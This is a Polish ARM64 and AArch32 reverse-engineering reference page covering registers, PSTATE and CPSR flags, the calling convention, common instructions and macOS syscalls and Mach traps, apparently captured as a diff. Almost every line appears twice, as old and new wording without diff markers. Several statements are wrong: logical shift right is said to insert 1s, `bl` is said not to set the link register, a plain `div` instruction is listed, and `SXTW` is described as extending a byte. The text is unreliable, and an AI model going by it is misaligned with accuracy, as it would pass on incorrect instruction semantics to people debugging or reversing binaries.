Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas odwracania inżynierii. Przyrostek `EL0` wskazuje na **minimalny wyjątek**, z którego można uzyskać dostęp do rejestru (w tym przypadku EL0 to zwykły poziom wyjątku (uprzywilejowanie), z którym uruchamiane są zwykłe programy).\
Są one często używane do przechowywania **bazowego adresu obszaru pamięci lokalnej wątku**. Zazwyczaj pierwszy jest czytelny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
* `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0`
@ -73,7 +73,7 @@ Są one często używane do przechowywania **bazowego adresu obszaru pamięci lo
### **PSTATE**
**PSTATE** zawiera kilka składników procesu zserializowanych do widocznego przez system operacyjny specjalnego rejestru **`SPSR_ELx`**, gdzie X to **poziom uprawnienia wywołanego** wyjątku (umożliwia to przywrócenie stanu procesu po zakończeniu wyjątku).\
**PSTATE** zawiera kilka składowych procesu zserializowanych do widocznego przez system operacyjny specjalnego rejestru **`SPSR_ELx`**, gdzie X to **poziom uprawnień wywołanego** wyjątku (umożliwia to przywrócenie stanu procesu po zakończeniu wyjątku).\
Oto dostępne pola:
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
@ -86,7 +86,7 @@ Oto dostępne pola:
* Suma dwóch liczb dodatnich daje wynik ujemny.
* Suma dwóch liczb ujemnych daje wynik dodatni.
* W odejmowaniu, gdy od mniejszej liczby dodatniej odejmowana jest większa liczba ujemna (lub odwrotnie), a wynik nie może być reprezentowany w zakresie podanej wielkości bitowej.
* Oczywiście procesor nie wie, czy operacja jest ze znakiem czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpił przeniesienie w przypadku, gdy była ona ze znakiem lub bez znaku.
* Oczywiście procesor nie wie, czy operacja jest ze znakiem czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpił przeniesienie w przypadku operacji ze znakiem lub bez.
{% hint style="warning" %}
Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, robią to, a inne, które mają przyrostek s, jak **`ADDS`**, również to robią.
@ -94,15 +94,15 @@ Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** l
* Bieżąca flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonania AArch64 po wznowieniu.
* Bieżący **Poziom Wyjątku** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0
* Flagi **jednokrokowego wykonywania** (**`SS`**): Używane przez debugery do jednokrokowego wykonywania poprzez ustawienie flagi SS na 1 wewnątrz **`SPSR_ELx`** poprzez wyjątek. Program wykona krok i wywoła wyjątek jednokrokowy.
* Flagi **jednokrokowego wykonywania** (**`SS`**): Używane przez debugery do jednokrokowego wykonywania poprzez ustawienie flagi SS na 1 wewnątrz **`SPSR_ELx`** za pomocą wyjątku. Program wykona krok i wywoła wyjątek jednokrokowy.
* Flagi stanu wyjątku **nielegalnego** (**`IL`**): Służy do oznaczania, kiedy uprzywilejowane oprogramowanie wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1, a procesor wywołuje wyjątek stanu nielegalnego.
* Flagi **`DAIF`**: Te flagi pozwalają uprzywilejowanemu programowi selektywnie maskować pewne zewnętrzne wyjątki.
* Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F jest związane z **żądaniami szybkich przerwań** (FIR).
* Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F jest związane z **szybkimi żądaniami przerwań** (FIR).
* Flagi wyboru wskaźnika stosu (**`SPS`**): Uprzywilejowane programy działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a rejestru modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie jest wykonywane poprzez zapisanie do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
## **Konwencja wywoływania (ARM64v8)**
Konwencja wywoływania ARM64 określa, że **pierwsze osiem parametrów** funkcji jest przekazywane w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwracana** jest przekazywana z powrotem w rejestrze **`x0`**, lub również w **`x1`**, jeśli jest długa na **128 bitów**. Rejestry **`x19`** do **`x30`** i **`sp`** muszą być **zachowane** między wywołaniami funkcji.
Konwencja wywoływania ARM64 określa, że **pierwsze osiem parametrów** funkcji jest przekazywane w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwracana** jest przekazywana z powrotem w rejestrze **`x0`**, lub również w **`x1`** jeśli jest długa na **128 bitów**. Rejestry **`x19`** do **`x30`** i **`sp`** muszą być **zachowane** między wywołaniami funkcji.
Podczas czytania funkcji w asemblerze, szukaj **prologu i epilogu** funkcji. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** i **przydzielenie miejsca na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
@ -112,7 +112,7 @@ Swift ma swoją własną **konwencję wywoływania**, którą można znaleźć p
## **Powszechne instrukcje (ARM64v8)**
Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (takie jak `add`, `sub`, `mov`, itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą również być używane zamiast rejestrów źródłowych.
Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja** do wykonania (takie jak `add`, `sub`, `mov`, itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą również być używane zamiast rejestrów źródłowych.
* **`mov`**: **Przenieś** wartość z jednego **rejestru** do drugiego.
* Przykład: `mov x0, x1` — To przenosi wartość z `x1` do `x0`.
@ -121,66 +121,66 @@ Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`op
* **Tryb z przesunięciem**: Wskazuje przesunięcie wpływające na wskaźnik orin, na przykład:
* `ldr x2, [x1, #8]`, to załaduje do x2 wartość z x1 + 8
* &#x20;`ldr x2, [x0, x1, lsl #2]`, to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4
* **Tryb z wstępnym indeksowaniem**: To zastosuje obliczenia do oryginału, uzyska wynik i również zapisze nowy oryginał w oryginale.
* `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i zapisze w x1 wynik `x1 + 8`
* `str lr, [sp, #-4]!`, Zapisz rejestr łącza w sp i zaktualizuj rejestr sp
* **Tryb z indeksowaniem po zakończeniu**: Jest podobny do poprzedniego, ale adres pamięci jest dostępny, a następnie obliczane i zapisywane jest przesunięcie.
* **Tryb z wstępnym indeksowaniem**: To zastosuje obliczenia do oryginału, uzyska wynik i przechowa nowy oryginał w oryginale.
* `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i przechowa w x1 wynik `x1 + 8`
* `str lr, [sp, #-4]!`, Przechowuje rejestr łącza w sp i aktualizuje rejestr sp
* **Tryb z indeksowaniem po zakończeniu**: Jest podobny do poprzedniego, ale adres pamięci jest dostępny, a następnie obliczany i przechowywany.
* `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 na `x1 + 8`
* **Adresowanie względem PC**: W tym przypadku adres do załadowania jest obliczany względem rejestru PC
* `ldr x1, =_start`, To załaduje adres, od którego zaczyna się symbol `_start`, do x1 względem bieżącego PC.
* `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start`, do x1 względem bieżącego PC.
* **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**.
* Przykład: `str x0, [x1]` — To zapisuje wartość z `x0` do lokalizacji pamięci wskazywanej przez `x1`.
* Przykład: `str x0, [x1]` — To przechowuje wartość z `x0` w lokalizacji pamięci wskazywanej przez `x1`.
* **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
* Przykład: `ldp x0, x1, [x2]` — To ładuje `x0` i `x1` z lokalizacji pamięci w `x2` i `x2 + 8`, odpowiednio.
* **`stp`**: **Zapisz parę rejestrów**. Ta instrukcja **zapisuje dwa rejestry** do **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
* Przykład: `stp x0, x1, [sp]` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp` i `sp + 8`, odpowiednio.
* `stp x0, x1, [sp, #16]!` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp+16` i `sp + 24`, odpowiednio, oraz aktualizuje `sp` na `sp+16`.
* `stp x0, x1, [sp, #16]!` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp+16` i `sp + 24`, odpowiednio, i aktualizuje `sp` na `sp+16`.
* **`add`**: **Dodaj** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
* Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[przesunięcie #N | RRX\]
* Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Cel
* Xn2 -> Operand 1
* Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowa wartość)
* \[przesunięcie #N | RRX\] -> Wykonaj przesunięcie lub wywołaj RRX
* Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy)
* \[shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX
* Przykład: `add x0, x1, x2` — Dodaje wartości w `x1` i `x2` i przechowuje wynik w `x0`.
* `add x5, x5, #1, lsl #12`To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
* **`adds`** To wykonuje `add` i aktualizuje flagi
* `add x5, x5, #1, lsl #12`Równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
* **`adds`** Wykonuje `add` i aktualizuje flagi
* **`sub`**: **Odejmij** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
* Sprawdź **składnię `add`**.
* Przykład: `sub x0, x1, x2` — Odejmuje wartość w `x2` od `x1` i przechowuje wynik w `x0`.
* **`subs`** To jest jak sub, ale aktualizuje flagi
* **`subs`** To jak sub, ale aktualizuje flagę
* **`mul`**: **Pomnóż** wartości **dwóch rejestrów** i przechowaj wynik w rejestrze.
* Przykład: `mul x0, x1, x2` — Mnoży wartości w `x1` i `x2` i przechowuje wynik w `x0`.
* **`div`**: **Podziel** wartość jednego rejestru przez drugi i przechowaj wynik w rejestrze.
* Przykład: `div x0, x1, x2` — Dzieli wartość w `x1` przez `x2` i przechowuje wynik w `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Przesunięcie logiczne w lewo**: Dodaj 0 z końca, przesuwając inne bity do przodu (pomnóż n razy przez 2)
* **Przesunięcie logiczne w prawo**: Dodaj 1 z przodu, przesuwając inne bity do tyłu (podziel n razy przez 2 w przypadku liczb bez znaku)
* **Przesunięcie arytmetyczne w prawo**: Podobne do **`lsr`**, ale jeśli najbardziej znaczący bit to 1, \*\*dodawane są 1 (\*\*podziel przez n razy 2 w przypadku liczb ze znakiem)
* **Przesunięcie logiczne w prawo**: Dodaj 1 z przodu, przesuwając inne bity do tyłu (dzielenie n razy przez 2 w przypadku liczb bez znaku)
* **Przesunięcie arytmetyczne w prawo**: Podobne do **`lsr`**, ale jeśli najbardziej znaczący bit to 1, \*\*dodawane są 1 (\*\*dzielenie n razy przez 2 w przypadku liczb ze znakiem)
* **Obrót w prawo**: Podobne do **`lsr`**, ale to, co jest usuwane z prawej strony, jest dołączane z lewej
* **Obrót w prawo z rozszerzeniem**: Podobne do **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przenoszona do bitu 31, a usunięty bit do flagi przeniesienia.
* **`bfm`**: **Przesunięcie pola bitowego**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je na pozycjach **`m..m+n`**. **`#s`** określa **najbardziej lewą pozycję bitu** i **`#r`** **ilość przesunięć w prawo**.
* **`bfm`**: **Przesunięcie pola bitowego**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je na pozycjach **`m..m+n`**. **`#s`** określa **najbardziej lewą pozycję bitu**, a **`#r`** **ilość przesunięć w prawo**.
* Przesunięcie pola bitowego: `BFM Xd, Xn, #r`
* Podpisywane przesunięcie pola bitowego: `SBFM Xd, Xn, #r, #s`
* Niepodpisywane przesunięcie pola bitowego: `UBFM Xd, Xn, #r, #s`
* **Ekstrakcja i wstawianie pola bitowego:** Kopiowanie pola bitowego z rejestru i kopiowanie go do innego rejestru.
* **Wyciąganie i wstawianie pola bitowego:** Kopiowanie pola bitowego z rejestru i kopiowanie go do innego rejestru.
* **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 od 3. bitu X1
* **`BFXIL X1, X2, #3, #4`** Wyodrębnia z 3. bitu X2 cztery bity i kopiuje je do X1
* **`BFXIL X1, X2, #3, #4`** Wyciąga z 3. bitu X2 cztery bity i kopiuje je do X1
* **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
* **`SBFX X1, X2, #3, #4`** Wyodrębnia 4 bity zaczynając od bitu 3 z X2, rozszerza znak i umieszcza wynik w X1
* **`SBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2, rozszerza znak i umieszcza wynik w X1
* **`UBFIZ X1, X2, #3, #4`** Rozszerza zerami 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
* **`UBFX X1, X2, #3, #4`** Wyodrębnia 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik zerowy w X1.
* **Rozszerz znak do X:** Rozszerza znak (lub dodaje tylko zera w wersji bez znaku) wartości, aby można było wykonywać na niej operacje:
* **`UBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik zerowany w X1.
* **Rozszerz znak do X:** Rozszerza znak (lub dodaje same 0 w wersji bez znaku) wartości, aby można było wykonywać z nią operacje:
* **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) wypełniając 64 bity
* **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** wypełniając 64 bity
* **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** wypełniając 64 bity
* **`UXTB X1, W2`** Dodaje zera (bez znaku) do bajtu **z W2 do X1** wypełniając 64 bity
* **`extr`:** Wyodrębnia bity z określonej **pary złączonych rejestrów**.
* **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** wypełniając 64 bity
* **`extr`:** Wyciąga bity z określonej **pary złączonych rejestrów**.
* Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i pobierze **od bitu 3 z W2 do bitu 3 z W1** i przechowa w W3.
* **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. Jest to **alias `subs`** ustawiający rejestr docelowy na zerowy rejestr. Przydatne do sprawdzenia, czy `m == n`.
* Obsługuje **tę samą składnię co `subs`**
* Przykład: `cmp x0, x1` — Porównuje wartości w `x0` i `x1` i ustawia odpowiednio flagi warunkowe.
* **`cmn`**: **Porównaj ujemność** operandu. W tym przypadku jest to **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
* **`ccmp`**: Porównanie warunkowe, jest to porównanie, które zostanie wykonane tylko wtedy, gdy poprzednie porównanie było prawdziwe, i będzie specjalnie ustawiać bity nzcv.
* **`cmn`**: **Porównaj ujemną** operację. W tym przypadku jest to **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
* **`ccmp`**: Porównanie warunkowe, jest to porównanie, które zostanie wykonane tylko wtedy, gdy poprzednie porównanie było prawdziwe, i specjalnie ustawia bity nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, przejdź do funkcji
* Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni warunku `blt`).
* Można go również używać jako `ccmn` (to samo, ale ujemne, jak `cmp` vs `cmn`).
@ -189,17 +189,17 @@ Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`op
* **`teq`**: Operacja XOR, odrzucająca wynik
* **`b`**: Bezwarunkowy skok
* Przykład: `b myFunction`&#x20;
* Należy zauważyć, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
* Należy pamiętać, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
* **`bl`**: **Skok** z linkiem, używany do **wywołania** podprogramu. Przechowuje **adres powrotu w `x30`**.
* Przykład: `bl myFunction`To wywołuje funkcję `myFunction` i przechowuje adres powrotu w `x30`.
* Należy zauważyć, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
* Przykład: `bl myFunction`Wywołuje funkcję `myFunction` i przechowuje adres powrotu w `x30`.
* Należy pamiętać, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
* **`blr`**: **Skok** z linkiem do rejestru, używany do **wywołania** podprogramu, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres powrotu w `x30`. (To jest&#x20;
* Przykład: `blr x1`To wywołuje funkcję, której adres jest zawarty w `x1` i przechowuje adres powrotu w `x30`.
* Przykład: `blr x1`Wywołuje funkcję, której adres jest zawarty w `x1` i przechowuje adres powrotu w `x30`.
* **`ret`**: **Powrót** z **podprogramu**, zwykle używając adresu w **`x30`**.
* Przykład: `ret`To powraca z bieżącego podprogramu, używając adresu powrotu w `x30`.
* **`b.<cond>`**: Warunkowe skoki
* Przykład: `ret`Powraca z bieżącego podprogramu, używając adresu powrotu w `x30`.
* **`b.<cond>`**: Skoki warunkowe
* **`b.eq`**: **Skok jeśli równy**, na podstawie poprzedniej instrukcji `cmp`.
* Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`.
* Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, następuje skok do `label`.
* **`b.ne`**: **Branch if Not Equal**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez poprzednią instrukcję porównania) i jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
* Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, następuje skok do `label`.
* **`cbz`**: **Porównaj i Skocz jeśli Zero**. Ta instrukcja porównuje rejestr z zerem i jeśli są równe, skacze do etykiety lub adresu.
@ -248,7 +248,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
2. **Ustaw nowy wskaźnik ramki**: `mov x29, sp` (ustawia nowy wskaźnik ramki dla bieżącej funkcji)
3. **Zaalokuj miejsce na stosie dla zmiennych lokalnych** (jeśli jest to konieczne): `sub sp, sp, <size>` (gdzie `<size>` to liczba bajtów potrzebna)
### **Epilog funkcji**
### **Epilog Funkcji**
1. **Zwolnij zmienne lokalne (jeśli jakiekolwiek zostały zaalokowane)**: `add sp, sp, <size>`
2. **Przywróć rejestr linku i wskaźnik ramki**:
@ -265,10 +265,10 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
Armv8-A obsługuje wykonanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** oraz może przełączać się między nimi za pomocą **`interworking`**.\
**Uprawnione** programy 64-bitowe mogą zaplanować **wykonanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do programu o niższych uprawnieniach 32-bitowych.\
Należy zauważyć, że przejście z 64-bitowego na 32-bitowy następuje przy niższym poziomie wyjątku (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Dokonuje się tego ustawiając **bit 4 rejestru specjalnego** **`SPSR_ELx`** na **1** gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje stany **`AArch32`** programów CPSR. Następnie uprawniony proces wywołuje instrukcję **`ERET`**, aby procesor przełączył się na **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
Należy zauważyć, że przejście z 64-bitowego do 32-bitowego zachodzi przy niższym poziomie wyjątku (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Jest to realizowane poprzez ustawienie **bitu 4 rejestru specjalnego** **`SPSR_ELx`** na **1** gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje stany **`AArch32`** programów CPSR. Następnie, uprawniony proces wywołuje instrukcję **`ERET`**, aby procesor przełączył się na **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
**`Interworking`** zachodzi za pomocą bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. Oznacza to w zasadzie ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\
Ustawia się to podczas **instrukcji skoku interworking**, ale można to również ustawić bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawione bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
Kolejny przykład:
```armasm
@ -291,11 +291,11 @@ Istnieje 16 rejestrów 32-bitowych (r0-r15). Od r0 do r14 mogą być używane do
- `r13`: Wskaźnik stosu
- `r14`: Rejestr łącza
Ponadto rejestry są tworzone w **`rejestrach bankowych`**. Są to miejsca przechowujące wartości rejestrów, umożliwiające szybką zmianę kontekstu w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć konieczności ręcznego zapisywania i przywracania rejestrów za każdym razem. To jest realizowane poprzez **zapis stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego jest wykonywany wyjątek. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**.
Ponadto rejestry są tworzone w rejestach bankowych. Są to miejsca przechowujące wartości rejestrów, umożliwiające szybką zmianę kontekstu w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć konieczności ręcznego zapisywania i przywracania rejestrów za każdym razem. To jest realizowane poprzez zapisanie stanu procesora z `CPSR` do `SPSR` trybu procesora, do którego jest wykonywany wyjątek. Po powrocie z wyjątku, `CPSR` jest przywracany z `SPSR`.
### CPSR - Bieżący Rejestr Stanu Programu
W AArch32 CPSR działa podobnie jak **`PSTATE`** w AArch64 i jest również przechowywany w **`SPSR_ELx`** podczas przejęcia wyjątku w celu późniejszego przywrócenia wykonania:
W AArch32 CPSR działa podobnie jak `PSTATE` w AArch64 i jest również przechowywany w `SPSR_ELx` podczas zajmowania wyjątku w celu późniejszego przywrócenia wykonania:
<figure><img src="../../../.gitbook/assets/image (1194).png" alt=""><figcaption></figcaption></figure>
@ -306,24 +306,24 @@ Pola są podzielone na kilka grup:
#### Rejestr Stanu Programu Aplikacji (APSR)
- Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64)
- Flag **`Q`**: Jest ustawiana na 1, gdy **następuje nasycenie liczb całkowitych** podczas wykonywania specjalnej instrukcji arytmetycznej nasycenia. Po ustawieniu na **`1`**, zachowuje wartość do momentu ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdzałaby jego wartość w sposób domyślny, musi być odczytana ręcznie.
- **`GE`** (Większe lub równe) Flagi: Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają przetwarzać wiele punktów danych w jednej instrukcji.
- Flagi `N`, `Z`, `C`, `V` (tak jak w AArch64)
- Flag `Q`: Jest ustawiana na 1, gdy występuje **nasycenie liczb całkowitych** podczas wykonywania specjalnej instrukcji arytmetycznej nasycającej. Po ustawieniu na **`1`**, zachowuje wartość do momentu ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdzałaby jego wartość w sposób domyślny, musi być odczytana ręcznie.
- Flagi `GE` (Większe lub równe): Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają przetwarzać wiele punktów danych w pojedynczej instrukcji.
Na przykład instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch operandów 32-bitowych) równolegle i przechowuje wyniki w rejestrze 32-bitowym. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednemu z dodawania bajtów, wskazując, czy dodawanie dla tej pary bajtów **przekroczyło zakres**.
Na przykład instrukcja `UADD8` **dodaje cztery pary bajtów** (z dwóch operandów 32-bitowych) równolegle i przechowuje wyniki w rejestrze 32-bitowym. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednemu z dodawanych bajtów, wskazując, czy dodawanie dla tej pary bajtów **przekroczyło zakres**.
Instrukcja **`SEL`** używa tych flag GE do wykonywania działań warunkowych.
Instrukcja `SEL` używa tych flag GE do wykonywania działań warunkowych.
#### Rejestry Stanu Wykonania
- Bity **`J`** i **`T`**: **`J`** powinno być 0, a jeśli **`T`** wynosi 0, używany jest zestaw instrukcji A32, a jeśli wynosi 1, używany jest zestaw instrukcji T32.
- Rejestr Stanu Bloku IT (`ITSTATE`): Są to bity od 10-15 i 25-26. Przechowują warunki dla instrukcji wewnątrz grupy z prefiksem **`IT`**.
- Bit **`E`**: Wskazuje **kolejność bajtów**.
- Bity **Trybu i Maska Wyjątku** (0-4): Określają bieżący stan wykonania. Piąty wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku obecnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **określa bieżący priorytet** w przypadku wywołania innego wyjątku podczas jego obsługi.
- Bity `J` i `T`: `J` powinno być 0, a jeśli `T` wynosi 0, używany jest zestaw instrukcji A32, a jeśli wynosi 1, używany jest zestaw instrukcji T32.
- Rejestr Stanu Bloku IT (`ITSTATE`): Są to bity od 10-15 i 25-26. Przechowują one warunki dla instrukcji wewnątrz grupy z prefiksem `IT`.
- Bit `E`: Wskazuje kolejność bajtów.
- Bity Trybu i Maska Wyjątku (0-4): Określają bieżący stan wykonania. Piąty wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku obecnie używany** (gdy występuje wyjątek i jest obsługiwany). Numer ustawiony **określa bieżący priorytet** w przypadku wywołania innego wyjątku podczas jego obsługi.
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Pewne wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F dotyczy **szybkich żądań przerwania** (FIR).
- `AIF`: Pewne wyjątki mogą być wyłączone za pomocą bitów `A`, `I`, `F`. Jeśli `A` wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. `I` konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F dotyczy **szybkich żądań przerwania** (FIR).
## macOS
@ -333,7 +333,7 @@ Sprawdź [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.
### Pułapki Mach
Sprawdź w [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` oraz w [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototypy. Maksymalna liczba pułapek Mach to `MACH_TRAP_TABLE_COUNT` = 128. Pułapki Mach będą miały **x16 < 0**, dlatego musisz wywołać numery z poprzedniej listy z użyciem znaku minus: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
Sprawdź w [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` oraz w [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototypy. Maksymalna liczba pułapek Mach to `MACH_TRAP_TABLE_COUNT` = 128. Pułapki Mach będą miały **x16 < 0**, dlatego musisz wywoływać numery z poprzedniej listy z użyciem znaku minus: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
Możesz również sprawdzić **`libsystem_kernel.dylib`** w deasemblerze, aby dowiedzieć się, jak wywołać te (i BSD) wywołania systemowe:
